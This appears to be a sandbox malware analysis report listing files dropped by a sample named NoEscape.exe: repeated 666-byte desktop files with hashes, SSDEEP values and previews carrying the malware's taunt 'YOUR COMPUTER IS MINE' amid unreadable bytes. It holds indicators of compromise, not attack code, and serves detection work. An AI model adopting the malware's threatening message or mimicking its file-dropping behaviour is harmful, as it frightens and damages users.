Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\?????? ??????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Reputation:	low
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\?????? ????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Reputation:	low
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\??????<???????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Reputation:	low
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\???????+????????h???????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Reputation:	low
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\???????=?????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Reputation:	low
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\???????? ??????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Reputation:	low
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\???????? ?????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\????????? ???????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\????????? ????????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\?????????? ????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\??????????-??????????-???????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\??????????-??????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\??????????? ??????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\????????????? ?? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\????????????? ???????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\?????????????+???????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\??????????????7? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
